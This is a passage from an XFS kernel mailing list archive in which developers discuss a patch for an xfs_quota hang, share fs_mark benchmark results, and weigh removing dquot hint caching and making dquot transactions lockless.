NO SYNC: Test does not issue sync() or fsync() calls. # Directories: Time based hash between directories across 10000 subdirectories with 180 seconds per subdirectory. # File names: 40 bytes long, (16 initial bytes of time stamp with 24 random bytes at end of name) # Files info: size 0 bytes, written with an IO size of 16384 bytes per write # App overhead is time in microseconds spent in the test not doing file writing related system calls. FSUse% Count Size Files/sec App Overhead 0 1600000 0 17666.5 15377143 0 3200000 0 17018.6 15922906 0 4800000 0 17373.5 16149660 0 6400000 0 16564.9 17234139 .... Without quota enabled, that workload runs at >250,000 files/sec. Serialisation is completely on the dquot locks - so I don't see anything right now that hints are going to buy us in terms of improving concurrency or scalability, so I think we probably can just get rid of them. FWIW, getting rid of the hints and converting the dquot reference counter to an atomic actually improves performance a bit: FSUse% Count Size Files/sec App Overhead 0 1600000 0 17559.3 15606077 0 3200000 0 18738.9 14026009 0 4800000 0 18960.0 14381162 0 6400000 0 19026.5 14422024 0 8000000 0 18456.6 15369059 Sure, 10% improvement is 10%, but concurrency still sucks. At least it narrows down the cause - the transactional modifications are the serialisation issue. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jeff.liu@oracle.com Sun Dec 8 21:27:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B5F597F52 for ; Sun, 8 Dec 2013 21:27:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 935CD304039 for ; Sun, 8 Dec 2013 19:27:08 -0800 (PST) X-ASG-Debug-ID: 1386559605-04cb6c537b618650001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id CBjh76z27sPn1nuT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 08 Dec 2013 19:26:45 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB93QKKj021993 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 9 Dec 2013 03:26:20 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB93QJCn001616 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 9 Dec 2013 03:26:20 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB93QIcW018592; Mon, 9 Dec 2013 03:26:18 GMT Received: from [192.168.1.104] (/123.119.102.115) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sun, 08 Dec 2013 19:26:18 -0800 Message-ID: <52A53856.6020004@oracle.com> Date: Mon, 09 Dec 2013 11:26:14 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Christoph Hellwig , Ben Myers , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> <20131209023655.GQ31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot In-Reply-To: <20131209023655.GQ31386@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386559605 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142952 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/09 2013 10:36 AM, Dave Chinner wrote: > On Mon, Dec 09, 2013 at 12:26:42PM +1100, Dave Chinner wrote: >> On Sat, Dec 07, 2013 at 01:51:24PM +0800, Jeff Liu wrote: >>> Hi Ben, >>> >> .... >>>>> void >>>>> xfs_qm_dqpurge_all() >>>>> { >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); >>>>> >>>>> if (flags & XFS_QMOPT_UQUOTA) >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); >>>>> if (flags & XFS_QMOPT_GQUOTA) >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); >>>>> if (flags & XFS_QMOPT_PQUOTA) >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); >>>>> } >>>>> >>>>> Above code is what I can figured out as per your suggestions for now, but it >>>>> would introduce overheads for walking through user dquots to release hints >>>>> separately if we want to turn user quota off. >>>>> >>>>> Any thoughts? >>>> >>>> I was gonna pull in the single walk version, but now I realize that it is still >>>> under discussion. I'm happy with either implementation, with maybe a slight >>>> preference for a single user quota walk. Can you and Christoph come to an >>>> agreement? >>> For now, I can not figure out a more optimized solution. Well, I just realized >>> I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() >>> since they will be evaluated by dqp pointers dereference anyway. As a minor fix, >>> the revised version was shown as follows. >>> >>> Christoph, as I mentioned previously, keeping a separate walk to release the user >>> dquots would also have overloads in some cases, would you happy to have this fix >>> although it is not most optimized? >> >> I'm happy either way it is done - I'd prefer we fix the problem than >> bikeshed over an extra radix tree walk or not given for most people >> the overhead won't be significant. >> >>> From: Jie Liu >>> >>> xfs_quota(8) will hang up if trying to turn group/project quota off >>> before the user quota is off, this could be 100% reproduced by: >> ..... >> >> So from the perspective, I'm happy to consider the updated >> patch as: >> >> Reviewed-by: Dave Chinner >> >> However, I question the need for the hints at all now. The hints >> were necessary back when the quota manager had global lists and >> hashes, and the lookups were expensive. Hence there was a >> significant win to caching the group dquot on the user dquot as it >> avoided a significant amount of code, locks and dirty cachelines. >> >> Now, it's just a radix tree lookup under only a single lock and the >> process dirties far fewer cachelines (none in the radix tree at all) >> and so should be substantially faster than the old code. And with >> the dquots being attached and cached on inodes in the first place, I >> don't see much advantage to keeping hints on the user dquot. THis is >> especially true for project quotas where a user might be accessing >> files in different projects all the time and so thrashing the >> project quota hint on the user dquot.... Ah, that accounts for it! Yesterday, I even thought to add an udquot member to struct xfs_dquot in order to avoid walk though user quota while turning off others, i.e, diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index d22ed00..0037c7e 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -52,6 +52,13 @@ typedef struct xfs_dquot { int q_bufoffset; /* off of dq in buffer (# dquots) */ xfs_fileoff_t q_fileoffset; /* offset in quotas file */ + union { + struct xfs_dquot *q_udquot; + struct { + struct xfs_dquot *q_pdquot; + struct xfs_dquot *q_gdquot; + } gp_hints; + } hints; struct xfs_dquot*q_gdquot; /* group dquot, hint only */ struct xfs_dquot*q_pdquot; /* project dquot, hint only */ xfs_disk_dquot_t q_core; /* actual usage & quotas */ In this way, I can attach the q_udquot to group/project dquots while attaching them to the user's. Thus I don't need to walk through user dquots to fetch the hints but to fetch them via: gdquot->hints.q_udquot.g_pdquot/g_gdquot and then decrease the reference count, but that need more code changes and add complexities. >> >> Hence I wonder if removing the dquot hint caching altogether would >> result in smaller, simpler, faster code. And, in reality, if the >> radix tree lock is a contention point on lookup after removing the >> hints, then we can fix that quite easily by switching to RCU-based >> lockless lookups like we do for the inode cache.... > > Actually, scalability couldn't get any worse by removing the hints. > If I run a concurrent workload with quota enabled, the global dquot > locks (be it user, quota or project) completely serialises the > workload. This result if from u/g/p all enabled, run by a single > user in a single group and a project ID of zero: > > ./fs_mark -D 10000 -S0 -n 100000 -s 0 -L 32 -d /mnt/scratch/0 -d /mnt/scratch/1 -d /mnt/scratch/2 -d /mnt/scratch/3 -d /mnt/scratch/4 -d /mnt/scratch/5 -d /mnt/scratch/6 -d /mnt/scratch/7 -d /mnt/scratch/8 -d /mnt/scratch/9 -d /mnt/scratch/10 -d /mnt/scratch/11 -d /mnt/scratch/12 -d /mnt/scratch/13 -d /mnt/scratch/14 -d /mnt/scratch/15 > # Version 3.3, 16 thread(s) starting at Mon Dec 9 12:53:46 2013 > # Sync method: NO SYNC: Test does not issue sync() or fsync() calls. > # Directories: Time based hash between directories across 10000 subdirectories with 180 seconds per subdirectory. > # File names: 40 bytes long, (16 initial bytes of time stamp with 24 random bytes at end of name) > # Files info: size 0 bytes, written with an IO size of 16384 bytes per write > # App overhead is time in microseconds spent in the test not doing file writing related system calls. > > FSUse% Count Size Files/sec App Overhead > 0 1600000 0 17666.5 15377143 > 0 3200000 0 17018.6 15922906 > 0 4800000 0 17373.5 16149660 > 0 6400000 0 16564.9 17234139 > .... > > Without quota enabled, that workload runs at >250,000 files/sec. > > Serialisation is completely on the dquot locks - so I don't see > anything right now that hints are going to buy us in terms of > improving concurrency or scalability, so I think we probably can > just get rid of them. > > FWIW, getting rid of the hints and converting the dquot reference > counter to an atomic actually improves performance a bit: > > FSUse% Count Size Files/sec App Overhead > 0 1600000 0 17559.3 15606077 > 0 3200000 0 18738.9 14026009 > 0 4800000 0 18960.0 14381162 > 0 6400000 0 19026.5 14422024 > 0 8000000 0 18456.6 15369059 > > Sure, 10% improvement is 10%, but concurrency still sucks. At least > it narrows down the cause - the transactional modifications are the > serialisation issue. Admire!! I'm still in considering of remove the hints but you have already shown the measuring results. :) Would you like to fix it in this way directly or make it as a increased improvement once my current fix got merged? Both fine to me. Thanks, -Jeff From david@fromorbit.com Mon Dec 9 00:10:09 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 81A0C7F54 for ; Mon, 9 Dec 2013 00:10:09 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5F7EA8F8039 for ; Sun, 8 Dec 2013 22:10:06 -0800 (PST) X-ASG-Debug-ID: 1386569392-04cb6c537e61f2c0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id oFMzQ8kAYXbTMLkt for ; Sun, 08 Dec 2013 22:09:52 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgcIAFZdpVJ5LHyk/2dsb2JhbABZgwe0T4VPgSEXdIIlAQEEAScTHCMFCwgDFQMJJQ8FJQMhExsDh14FwGQXFo4OH00HhDMDlDGDYopRBIc/gWuBUiiBLQgX Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Dec 2013 16:39:50 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vpu2L-0008DQ-DE; Mon, 09 Dec 2013 17:09:45 +1100 Date: Mon, 9 Dec 2013 17:09:45 +1100 From: Dave Chinner To: Jeff Liu Cc: Christoph Hellwig , Ben Myers , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209060945.GR31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> <20131209023655.GQ31386@dastard> <52A53856.6020004@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52A53856.6020004@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386569392 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142954 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 11:26:14AM +0800, Jeff Liu wrote: > On 12/09 2013 10:36 AM, Dave Chinner wrote: > > On Mon, Dec 09, 2013 at 12:26:42PM +1100, Dave Chinner wrote: > >> On Sat, Dec 07, 2013 at 01:51:24PM +0800, Jeff Liu wrote: > >>> Hi Ben, > >>> > >> .... > >>>>> void > >>>>> xfs_qm_dqpurge_all() > >>>>> { > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); > >>>>> > >>>>> if (flags & XFS_QMOPT_UQUOTA) > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); > >>>>> if (flags & XFS_QMOPT_GQUOTA) > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); > >>>>> if (flags & XFS_QMOPT_PQUOTA) > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); > >>>>> } > >>>>> > >>>>> Above code is what I can figured out as per your suggestions for now, but it > >>>>> would introduce overheads for walking through user dquots to release hints > >>>>> separately if we want to turn user quota off. > >>>>> > >>>>> Any thoughts? > >>>> > >>>> I was gonna pull in the single walk version, but now I realize that it is still > >>>> under discussion. I'm happy with either implementation, with maybe a slight > >>>> preference for a single user quota walk. Can you and Christoph come to an > >>>> agreement? > >>> For now, I can not figure out a more optimized solution. Well, I just realized > >>> I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() > >>> since they will be evaluated by dqp pointers dereference anyway. As a minor fix, > >>> the revised version was shown as follows. > >>> > >>> Christoph, as I mentioned previously, keeping a separate walk to release the user > >>> dquots would also have overloads in some cases, would you happy to have this fix > >>> although it is not most optimized? > >> > >> I'm happy either way it is done - I'd prefer we fix the problem than > >> bikeshed over an extra radix tree walk or not given for most people > >> the overhead won't be significant. > >> > >>> From: Jie Liu > >>> > >>> xfs_quota(8) will hang up if trying to turn group/project quota off > >>> before the user quota is off, this could be 100% reproduced by: > >> ..... > >> > >> So from the perspective, I'm happy to consider the updated > >> patch as: > >> > >> Reviewed-by: Dave Chinner > >> > >> However, I question the need for the hints at all now. The hints > >> were necessary back when the quota manager had global lists and > >> hashes, and the lookups were expensive. Hence there was a > >> significant win to caching the group dquot on the user dquot as it > >> avoided a significant amount of code, locks and dirty cachelines. > >> > >> Now, it's just a radix tree lookup under only a single lock and the > >> process dirties far fewer cachelines (none in the radix tree at all) > >> and so should be substantially faster than the old code. And with > >> the dquots being attached and cached on inodes in the first place, I > >> don't see much advantage to keeping hints on the user dquot. THis is > >> especially true for project quotas where a user might be accessing > >> files in different projects all the time and so thrashing the > >> project quota hint on the user dquot.... > Ah, that accounts for it! Yesterday, I even thought to add an udquot > member to struct xfs_dquot in order to avoid walk though user quota > while turning off others, i.e, > > diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h > index d22ed00..0037c7e 100644 > --- a/fs/xfs/xfs_dquot.h > +++ b/fs/xfs/xfs_dquot.h > @@ -52,6 +52,13 @@ typedef struct xfs_dquot { > int q_bufoffset; /* off of dq in buffer (# dquots) */ > xfs_fileoff_t q_fileoffset; /* offset in quotas file */ > > + union { > + struct xfs_dquot *q_udquot; > + struct { > + struct xfs_dquot *q_pdquot; > + struct xfs_dquot *q_gdquot; > + } gp_hints; > + } hints; > struct xfs_dquot*q_gdquot; /* group dquot, hint only */ > struct xfs_dquot*q_pdquot; /* project dquot, hint only */ > xfs_disk_dquot_t q_core; /* actual usage & quotas */ > > In this way, I can attach the q_udquot to group/project dquots while > attaching them to the user's. Thus I don't need to walk through user > dquots to fetch the hints but to fetch them via: > gdquot->hints.q_udquot.g_pdquot/g_gdquot and then decrease the reference > count, but that need more code changes and add complexities. Yeah, more complexity, but I can see why you might take that path ;) > >> Hence I wonder if removing the dquot hint caching altogether would > >> result in smaller, simpler, faster code. And, in reality, if the > >> radix tree lock is a contention point on lookup after removing the > >> hints, then we can fix that quite easily by switching to RCU-based > >> lockless lookups like we do for the inode cache.... > > > > Actually, scalability couldn't get any worse by removing the hints. > > If I run a concurrent workload with quota enabled, the global dquot > > locks (be it user, quota or project) completely serialises the > > workload. This result if from u/g/p all enabled, run by a single > > user in a single group and a project ID of zero: ..... > > > > FSUse% Count Size Files/sec App Overhead > > 0 1600000 0 17666.5 15377143 > > 0 3200000 0 17018.6 15922906 > > 0 4800000 0 17373.5 16149660 > > 0 6400000 0 16564.9 17234139 > > .... > > > > Without quota enabled, that workload runs at >250,000 files/sec. > > > > Serialisation is completely on the dquot locks - so I don't see > > anything right now that hints are going to buy us in terms of > > improving concurrency or scalability, so I think we probably can > > just get rid of them. > > > > FWIW, getting rid of the hints and converting the dquot reference > > counter to an atomic actually improves performance a bit: > > > > FSUse% Count Size Files/sec App Overhead > > 0 1600000 0 17559.3 15606077 > > 0 3200000 0 18738.9 14026009 > > 0 4800000 0 18960.0 14381162 > > 0 6400000 0 19026.5 14422024 > > 0 8000000 0 18456.6 15369059 > > > > Sure, 10% improvement is 10%, but concurrency still sucks. At least > > it narrows down the cause - the transactional modifications are the > > serialisation issue. > Admire!! I'm still in considering of remove the hints but you have already > shown the measuring results. :) Oh, removing 200 lines of code is easy ;) It's making the dquot transaction code lockless that's hard... > Would you like to fix it in this way directly or make it as a increased > improvement once my current fix got merged? Both fine to me. Well, lets see what other's think about remove the hints altogether. If there is agreement on doing that, then we may as well just do that straight away. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Dec 9 00:36:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 13E6A7F56 for ; Mon, 9 Dec 2013 00:36:48 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id F2A48304032 for ; Sun, 8 Dec 2013 22:36:44 -0800 (PST) X-ASG-Debug-ID: 1386570994-04cbb04167629bc0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id NROkbNf2PUfVlDGD for ; Sun, 08 Dec 2013 22:36:34 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgcIAIpkpVJ5LHyk/2dsb2JhbABZgwe0UIVPgSEXdIIlAQEEAScTHCMQCAMVAwklDwUlAyETGwOHXgXAbhcWjg4fTQeEMwOUMYNiilEEhz+Ba4FSKIEtCBc Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 09 Dec 2013 17:06:33 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VpuSE-0008HF-Gw; Mon, 09 Dec 2013 17:36:30 +1100 Date: Mon, 9 Dec 2013 17:36:30 +1100 From: Dave Chinner To: Jeff Liu Cc: Christoph Hellwig , Ben Myers , "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot Message-ID: <20131209063630.GS31386@dastard> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> <52A2B75C.3040803@oracle.com> <20131209012642.GO31386@dastard> <20131209023655.GQ31386@dastard> <52A53856.6020004@oracle.com> <20131209060945.GR31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131209060945.GR31386@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1386570994 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Dec 09, 2013 at 05:09:45PM +1100, Dave Chinner wrote: > On Mon, Dec 09, 2013 at 11:26:14AM +0800, Jeff Liu wrote: > > On 12/09 2013 10:36 AM, Dave Chinner wrote: > > > On Mon, Dec 09, 2013 at 12:26:42PM +1100, Dave Chinner wrote: > > >> On Sat, Dec 07, 2013 at 01:51:24PM +0800, Jeff Liu wrote: > > >>> Hi Ben, > > >>> > > >> .... > > >>>>> void > > >>>>> xfs_qm_dqpurge_all() > > >>>>> { > > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge_hints, NULL); > > >>>>> > > >>>>> if (flags & XFS_QMOPT_UQUOTA) > > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_USER, xfs_qm_dqpurge, NULL); > > >>>>> if (flags & XFS_QMOPT_GQUOTA) > > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_GROUP, xfs_qm_dqpurge, NULL); > > >>>>> if (flags & XFS_QMOPT_PQUOTA) > > >>>>> xfs_qm_dquot_walk(mp, XFS_DQ_PROJ, xfs_qm_dqpurge, NULL); > > >>>>> } > > >>>>> > > >>>>> Above code is what I can figured out as per your suggestions for now, but it > > >>>>> would introduce overheads for walking through user dquots to release hints > > >>>>> separately if we want to turn user quota off. > > >>>>> > > >>>>> Any thoughts? > > >>>> > > >>>> I was gonna pull in the single walk version, but now I realize that it is still > > >>>> under discussion. I'm happy with either implementation, with maybe a slight > > >>>> preference for a single user quota walk. Can you and Christoph come to an > > >>>> agreement? > > >>> For now, I can not figure out a more optimized solution. Well, I just realized > > >>> I don't need to initialize both gdqp and pdqp to NULL at xfs_qm_dqpurge_hints() > > >>> since they will be evaluated by dqp pointers dereference anyway. As a minor fix, > > >>> the revised version was shown as follows. > > >>> > > >>> Christoph, as I mentioned previously, keeping a separate walk to release the user > > >>> dquots would also have overloads in some cases, would you happy to have this fix > > >>> although it is not most optimized? > > >> > > >> I'm happy either way it is done - I'd prefer we fix the problem than > > >> bikeshed over an extra radix tree walk or not given for most people > > >> the overhead won't be significant. > > >> > > >>> From: Jie Liu > > >>> > > >>> xfs_quota(8) will hang up if trying to turn group/project quota off > > >>> before the user quota is off, this could be 100% reproduced by: > > >> ..... > > >> > > >> So from the perspective, I'm happy to consider the updated > > >> patch as: > > >> > > >> Reviewed-by: Dave Chinner > > >> > > >> However, I question the need for the hints at all now. The hints > > >> were necessary back when the quota manager had global lists and > > >> hashes, and the lookups were expensive. Hence there was a > > >> significant win to caching the group dquot on the user dquot as it > > >> avoided a significant amount of code, locks and dirty cachelines. > > >> > > >> Now, it's just a radix tree lookup under only a single lock and the > > >> process dirties far fewer cachelines (none in the radix tree at all) > > >> and so should be substantially faster than the old code. And with > > >> the dquots being attached and cached on inodes in the first place, I > > >> don't see much advantage to keeping hints on the user dquot. THis is > > >> especially true for project quotas where a user might be accessing > > >> files in different projects all the time and so thrashing the > > >> project quota hint on the user dquot.... > > Ah, that accounts for it! Yesterday, I even thought to add an udquot > > member to struct xfs_dquot in order to avoid walk though user quota > > while turning off others, i.e, > > > > diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h > > index d22ed00..0037c7e 100644 > > --- a/fs/xfs/xfs_dquot.h > > +++ b/fs/xfs/xfs_dquot.h > > @@ -52,6 +52,13 @@ typedef struct xfs_dquot { > > int q_bufoffset; /* off of dq in buffer (# dquots) */ > > xfs_fileoff_t q_fileoffset; /* offset in quotas file */ > > > > + union { > > + struct xfs_dquot *q_udquot; > > + struct { > > + struct xfs_dquot *q_pdquot; > > + struct xfs_dquot *q_gdquot; > > + } gp_hints; > > + } hints; > > struct xfs_dquot*q_gdquot; /* group dquot, hint only */ > > struct xfs_dquot*q_pdquot; /* project dquot, hint only */ > > xfs_disk_dquot_t q_core; /* actual usage & quotas */ > > > > In this way, I can attach the q_udquot to group/project dquots while > > attaching them to the user's. Thus I don't need to walk through user > > dquots to fetch the hints but to fetch them via: > > gdquot->hints.q_udquot.g_pdquot/g_gdquot and then decrease the reference > > count, but that need more code changes and add complexities. > > Yeah, more complexity, but I can see why you might take that path ;) > > > >> Hence I wonder if removing the dquot hint caching altogether would > > >> result in smaller, simpler, faster code. And, in reality, if the > > >> radix tree lock is a contention point on lookup after removing the > > >> hints, then we can fix that quite easily by switching to RCU-based > > >> lockless lookups like we do for the inode cache.... > > > > > > Actually, scalability couldn't get any worse by removing the hints. > > > If I run a concurrent workload with quota enabled, the global dquot > > > locks (be it user, quota or project) completely serialises the > > > workload. This result if from u/g/p all enabled, run by a single > > > user in a single group and a project ID of zero: > ..... > > > > > > FSUse% Count Size Files/sec App Overhead > > > 0 1600000 0 17666.5 15377143 > > > 0 3200000 0 17018.6 15922906 > > > 0 4800000 0 17373.5 16149660 > > > 0 6400000 0 16564.9 17234139 > > > .... > > > > > > Without quota enabled, that workload runs at >250,000 files/sec. > > > > > > Serialisation is completely on the dquot locks - so I don't see > > > anything right now that hints are going to buy us in terms of > > > improving concurrency or scalability, so I think we probably can > > > just get rid of them. > > > > > > FWIW, getting rid of the hints and converting the dquot reference > > > counter to an atomic actually improves performance a bit: > > > > > > FSUse% Count Size Files/sec App Overhead > > > 0 1600000 0 17559.3 15606077 > > > 0 3200000 0 18738.9 14026009 > > > 0 4800000 0 18960.0 14381162 > > > 0 6400000 0 19026.5 14422024 > > > 0 8000000 0 18456.6 15369059 > > > > > > Sure, 10% improvement is 10%, but concurrency still sucks. At least > > > it narrows down the cause - the transactional modifications are the > > > serialisation issue. > > Admire!! I'm still in considering of remove the hints but you have already > > shown the measuring results. :) > > Oh, removing 200 lines of code is easy ;) > > It's making the dquot transaction code lockless that's hard... Well, the easy bit is prototyped - xfs_trans_dqresv() uses cmpxchg loops now: FSUse% Count Size Files/sec App Overhead 0 1600000 0 24487.3 13020824 0 3200000 0 24399.3 13333231 0 4800000 0 24268.4 14574793 0 6400000 0 24026.3 14918698 And all the lock contention is locking the dquots during xfs_trans_commit(): - 3.44% [kernel] [k] __mutex_lock_slowpath - __mutex_lock_slowpath - 99.56% mutex_lock - 83.30% xfs_trans_dqlockedjoin xfs_trans_apply_dquot_deltas xfs_trans_commit xfs_create xfs_vn_mknod xfs_vn_create vfs_create .... I have a couple of interesting thoughts on how to deal with this; it involves building on top of Christoph's log formatting patch series and pushing the dquot modifications all the way into the ->iop_format method where they can be applied locklessly to the dquot.... If I can make that work, then I need to step back and have a deep think about how we can apply the technique generically at an object level, because if we can do this then lockless, concurrent transactions are possible for various types of objects. I can see much joy coming from not having to lock the inode to update the file size transactionally during IO completion.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+15db0817d0eb2260d79e+3760+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 9 01:03:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from 